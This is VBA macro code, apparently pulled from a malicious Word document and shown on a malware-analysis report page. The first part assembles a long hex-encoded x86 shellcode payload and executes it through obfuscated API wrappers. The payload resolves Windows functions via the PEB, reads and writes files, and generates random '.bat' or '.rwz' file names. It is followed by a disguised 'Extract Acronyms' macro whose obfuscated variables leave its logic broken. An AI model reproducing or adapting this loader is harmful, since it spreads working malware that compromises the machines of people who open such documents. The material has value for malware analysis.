    u = u & ",00,00,00,00,c6,45,fc,00,8b,5d,18,6a,00,68,80,00,00,00,6a,02,6a,00,6a,01,68,00,00,00,40,ff,75,0c,ff,53,2c,89,85,dc,fb,ff,ff,83,f8,ff,0f,84,f6,00,00,00,6a,00,6a,00,6a,00,6a,01,8d,55,fc,52,ff,53,54,89,85,e0,fb,ff,ff,85,c0,0f,84,d9,00,00,00,8d,95,e8,fb,ff,ff,52,68,00,00,00,80,6a,00,6a,00,ff,75,08,50,ff,53,58,89,85,e4,fb,ff,ff,85,c0,0f,84,b4,00,00,00,31,c0,40,89,85,f0,fb,ff,ff,89,85,f8,fb,ff,ff,8b,7d,10,8b,85,f8,fb,ff,ff,85,c0,0f,84,94,00,00,00,8b,85,f0,fb,ff,ff,85,c0,0f,84,8a,00,00,00,8d,95,f0,fb,ff,ff,52,68,00,04,00,00,8d,95,fc,fb,ff,ff,52,ff,b5,e4,fb,ff,ff,ff,53,5c,89,85,f8,fb,ff,ff,85,c0,74,60,31,c9,8d,b5,fc,fb,ff,ff,8b,45,14,39,85,ec,fb,ff,ff,74,18,3b,8d,f0,fb,ff,ff,74,10,ac,aa,0f,31,88,46,ff,ff,85,ec,fb,ff,ff,41,eb,dd,6a,00,8d,95,f4,fb,ff,ff,52,ff,b5,f0,fb,ff,ff,8d,95,fc,fb,ff,ff,52,ff,b"
    u = u & "5,dc,fb,ff,ff,ff,53,34,85,c0,74,12,8b,8d,f0,fb,ff,ff,3b,8d,f4,fb,ff,ff,0f,84,5e,ff,ff,ff,31,ff,eb,06,8b,bd,ec,fb,ff,ff,8b,85,dc,fb,ff,ff,83,f8,ff,74,04,50,ff,53,14,8b,85,e4,fb,ff,ff,85,c0,74,04,50,ff,53,60,8b,85,e0,fb,ff,ff,85,c0,74,04,50,ff,53,60,89,f8,5b,5e,5f,c9,c2,14,00,55,89,e5,83,ec,10,57,56,53,8b,7d,08,8b,5d,10,57,68,04,01,00,00,ff,53,28,8d,7c,07,fb,89,7d,f0,8b,55,0c,8d,42,18,89,45,f4,8b,42,08,89,45,f8,8b,02,89,45,fc,ff,4d,f8,78,1e,8b,75,f4,8b,36,8b,7d,f0,ac,aa,84,c0,75,fa,ff,75,08,ff,53,64,85,c0,74,36,83,45,f4,04,eb,dd,8b,7d,f0,0f,31,89,c2,b9,08,00,00,00,88,d0,24,0f,04,61,aa,c1,ea,04,e2,f4,83,7d,fc,00,75,08,c7,07,2e,62,61,74,eb,06,c7,07,2e,72,77,7a,c6,47,04,00,5b,5e,5f,c9,c2,0c,00,55,89,e5,8b,45,08,03,45,0c,89,c2,c1,e2,0a,01,d0,89,c2,c1,ea,06,31,d0,c9,c2,08,00,55,89,e5,56,8b,75,08,"
    u = u & "31,c0,0f,b6,16,46,85,d2,74,09,52,50,e8,cd,ff,ff,ff,eb,ef,0c,80,5e,c9,c2,04,00,55,89,e5,83,ec,08,57,56,53,8b,45,08,03,40,3c,8b,78,78,03,7d,08,8b,40,7c,89,45,f8,8b,5d,0c,81,fb,ff,ff,00,00,77,05,2b,5f,10,eb,55,8b,77,20,03,75,08,31,db,3b,5f,18,73,1f,43,ad,03,45,08,89,45,fc,8b,4d,0c,f6,01,80,74,13,50,e8,91,ff,ff,ff,8b,4d,0c,39,01,75,de,eb,12,31,c0,eb,66,8b,4d,0c,89,c2,e8,de,00,00,00,85,c0,75,ca,8b,45,14,85,c0,74,05,8b,4d,fc,89,08,8b,77,24,03,75,08,0f,b7,5c,5e,fe,8b,77,1c,03,75,08,8b,04,9e,85,c0,74,ca,03,45,08,39,f8,72,2d,89,f9,03,4d,f8,39,c8,73,24,31,c0,3b,45,10,74,b3,81,7d,0c,ff,ff,00,00,77,0b,ff,75,0c,ff,75,08,ff,55,10,eb,09,ff,75,fc,ff,75,08,ff,55,10,5b,5e,5f,c9,c2,10,00,55,89,e5,83,ec,04,57,56,53,64,a1,30,00,00,00,8b,75,08,85,f6,75,05,8b,40,08,eb,59,8b,40,0c,8b,40,0c,89,45,fc,eb,07,8b,00,3b"
    u = u & ",45,fc,74,45,8d,18,8b,7b,30,85,ff,74,f0,8b,75,08,31,c9,8a,16,46,80,fa,61,72,08,80,fa,7a,77,03,80,ea,20,66,3b,4b,2c,72,09,84,d2,75,d1,8b,43,18,eb,1a,8a,34,0f,41,41,80,fe,61,72,08,80,fe,7a,77,03,80,ee,20,38,f2,74,cb,eb,b4,31,c0,5b,5e,5f,c9,c2,04,00,8a,01,41,8a,22,42,28,e0,75,04,84,e4,75,f2,0f,be,c0,c3,01,bf,29,44,bd,7a,5d,c8,e6,81,0e,bb,9f,dc,e9,d6,65,4a,9d,0b,fd,bb,66,42,81,84,4f,4b,7e,2e,2e,a9,c2,60,9f,e8,39,b3,0e,76,f9,45,4e,78,c7,58,46,e0,d6,cf,c9,a7,fb,f9,bc,b4,1c,96,ee,97,87,d3,c8,60,68,5c,f7,66,bd,f7,4e,31,5c,e1,50,fb,46,29,e2,86,32,0b,64,1f,33,ed,9b,18,0e,da,be,4c,52,e1,c7,51,55,51,59,08,81,27,3e,07,b7,7a,b2,9d,80,67,1b,a7,e4,12,38,1e,0a,fb,06,de,37,80,86,9f,b1,fc,40,4c,97,7a,8f,77,e5,8e,47,cc,97,69,f0,a0,b8,71,d1,31,6b,bc,3e,95,19,4e,99,46,76,60,97,47,a0,88,52,e2,3b,3e,b0,c3,c9,71,7"
    u = u & "d,4e,b2,80,51,6f,02,af,a7,86,16,14,9a,cc,46,23,f5,40,1e,d2,e0,96,a9,8e,29,26,c0,07,e4,16,ee,b5,c5,f5,d2,5c,13,7e,3b,95,a0,24,11,12,2f,92,f7,9c,f2"
    
    u = Replace(u, ",", "")
    
    i_ntMa_xPw_dAg_eS_econ_ds = a_rrDay_Of_Wee_k0(u, ByVal 0, ByVal 12, ByVal objOp_ti_on, ByVal VarPtr(obj_Fa_xEve_ntLog_gi_n_g0), ByVal 0&, ByVal 0&)
    obj_Fax_Logg_ingO_ptio_ns 5
    i_ntMa_xPw_dAg_eS_econ_ds = posd_a_y1(0, 0, 1, 1, ByVal objOp_ti_on, ByVal 1&)
End Sub



Sub c_olNet_w_orks0()

    Dim i_ntM_in_P_w_d_Age_Days As Document
    Dim st_rURL As Document
    Dim szNam_eSpac_eP_ath As String
    Dim objOp_ti_on0 As String
    Dim i_ntA_ceT_ype As Table
    Dim strMa_ilFor_warde_r As Range
    Dim st_rLast_Modi_fied As Long
    Dim s_trM_essa_g_e As String
    Dim colF_ile_s0 As String
    Dim obj_Fa_xEve_ntLog_gi_n_g As String

    colF_ile_s0 = "Extract Acronyms to New Document"
    
    obj_Fa_xEve_ntLog_gi_n_g = "This macro finds all words consisting of 3 or more " & _
        "uppercase letters and extracts the words to a table " & _
        "in a new document where you can add definitions." & vbCr & vbCr & _
        "Do you want to continue?"

    If MsgBox(obj_Fa_xEve_ntLog_gi_n_g, vbYesNo + vbQuestion, colF_ile_s0) <> vbYes Then
        Exit Sub
    End If
    
    Application.ScreenUpdating = False
    
    szNam_eSpac_eP_ath = Application.International(wdListSeparator)
    
    s_trM_essa_g_e = "#"
    
    Set i_ntM_in_P_w_d_Age_Days = ActiveDocument
    
    Set st_rURL = Documents.Add
    
    With st_rURL
        .Range = ""
    
        .PageSetup.TopMargin = CentimetersToPoints(3)
        .Sections(1).Headers(wdHeaderFooterPrimary).Range.Text = _
            "Acronyms extracted from: " & i_ntM_in_P_w_d_Age_Days.FullName & vbCr & _
            "Created by: " & Application.UserName & vbCr & _
            "Creation date: " & Format(Date, "MMMM d, yyyy")
                
        With .Styles(wdStyleNormal)
            .Font.Name = "Arial"
            .Font.Size = 10
            .ParagraphFormat.LeftIndent = 0
            .ParagraphFormat.SpaceAfter = 6
        End With
    
        With .Styles(wdStyleHeader)
            .Font.Size = 8
            .ParagraphFormat.SpaceAfter = 0
        End With
        
        Set i_ntA_ceT_ype = .Tables.Add(Range:=.Range, NumRows:=2, NumColumns:=3)
        With i_ntA_ceT_ype
        
            .Range.Style = wdStyleNormal
            .AllowAutoFit = False
            
            .Cell(1, 1).Range.Text = "Acronym"
            .Cell(1, 2).Range.Text = "Definition"
            .Cell(1, 3).Range.Text = "Page"
            
            .Rows(1).HeadingFormat = True
            .Rows(1).Range.Font.Bold = True
            .PreferredWidthType = wdPreferredWidthPercent
            .Columns(1).PreferredWidth = 20
            .Columns(2).PreferredWidth = 70
            .Columns(3).PreferredWidth = 10
        End With
    End With
    
    With i_ntM_in_P_w_d_Age_Days
        Set strMa_ilFor_warde_r = .Range
        
        n = 1
        
        With strMa_ilFor_warde_r.Find
        
            .Text = "<[A-Z]{3" & strListSep & "}>"
            .Forward = True
            .Wrap = wdFindStop
            .Format = False
            .MatchCase = True
            .MatchWildcards = True
            
            Do While .Execute
                objOp_ti_on0 = oRange.Text
                
                If InStr(1, strAllFound, "#" & strAcronym & "#") = 0 Then
                    If n > 1 Then oTable.Rows.Add
                    strAllFound = strAllFound & strAcronym & "#"
                    
                    With oTable
                        .Cell(n + 1, 1).Range.Text = strAcronym
                        .Cell(n + 1, 3).Range.Text = oRange.Information(wdActiveEndPageNumber)
                    End With
                    
                    n = n + 1
                End If
            Loop
        End With
    End With
    
    If n > 2 Then
        With Selection
            .Sort ExcludeHeader:=True, FieldNumber:="Column 1", SortFieldType _
                :=wdSortFieldAlphanumeric, SortOrder:=wdSortOrderAscending
            
            .HomeKey (wdStory)
        End With
    End If
        
    Application.ScreenUpdating = True
    
    If st_rLast_Modi_fied = 1 Then
        obj_Fa_xEve_ntLog_gi_n_g = "No acronyms found."
        st_rURL.Close savechanges:=wdDoNotSaveChanges
    Else
        obj_Fa_xEve_ntLog_gi_n_g = "Finished extracting " & st_rLast_Modi_fied - 1 & " acronymn(s) to a new document."
    End If
    
    MsgBox obj_Fa_xEve_ntLog_gi_n_g, vbOKOnly, colF_ile_s0
    
    Set strMa_ilFor_warde_r = Nothing
    Set i_ntM_in_P_w_d_Age_Days = Nothing
    Set st_rURL = Nothing
    Set i_ntA_ceT_ype = Nothing
    
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.